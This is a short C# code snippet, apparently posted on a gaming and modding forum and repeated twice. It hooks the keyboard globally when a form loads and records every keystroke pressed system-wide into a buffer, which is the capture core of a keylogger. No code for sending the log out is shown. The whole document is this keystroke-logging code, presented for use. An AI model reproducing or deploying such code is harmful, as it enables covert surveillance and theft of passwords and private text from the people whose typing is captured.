GlobalKeyboardHook gHook; // declared outside any method
private void Form1_Load(object sender, EventArgs e) // the form "Load" event
{
gHook = new GlobalKeyboardHook();
gHook.KeyDown += new KeyEventHandler(gHook_KeyDown); // add the event handler
foreach (Keys key in Enum.GetValues(typeof(Keys))) // loop through each possible key
gHook.HookedKeys.Add(key); // add the key to the list
gHook.hook(); // automatically hook the keyboard on form load
}
System.Text.StringBuilder keystrokes = new System.Text.StringBuilder(); // declare new StringBuilder
public void gHook_KeyDown(object sender, KeyEventArgs e) // the keydown event (fires each time a key is pressed)
{
switch (e.KeyCode) // switch case on e.KeyCode
{
case Keys.Space: // if the Space button is pressed
keystrokes.Append(" ");
break;
case Keys.Back: // if the Backspace button is pressed
keystrokes.Append("[Backspace]");
break;
default: // if any other button is pressed
keystrokes.Append(((char)e.KeyValue).ToString());
break;
}
}
GlobalKeyboardHook gHook; // declared outside any method
private void Form1_Load(object sender, EventArgs e) // the form "Load" event
{
gHook = new GlobalKeyboardHook();
gHook.KeyDown += new KeyEventHandler(gHook_KeyDown); // add the event handler
foreach (Keys key in Enum.GetValues(typeof(Keys))) // loop through each possible key
gHook.HookedKeys.Add(key); // add the key to the list
gHook.hook(); // automatically hook the keyboard on form load
}
System.Text.StringBuilder keystrokes = new System.Text.StringBuilder(); // declare new StringBuilder
public void gHook_KeyDown(object sender, KeyEventArgs e) // the keydown event (fires each time a key is pressed)
{
switch (e.KeyCode) // switch case on e.KeyCode
{
case Keys.Space: // if the Space button is pressed
keystrokes.Append(" ");
break;
case Keys.Back: // if the Backspace button is pressed
keystrokes.Append("[Backspace]");
break;
default: // if any other button is pressed
keystrokes.Append(((char)e.KeyValue).ToString());
break;
}
}
Copyright © 2024, NextGenUpdate.
All Rights Reserved.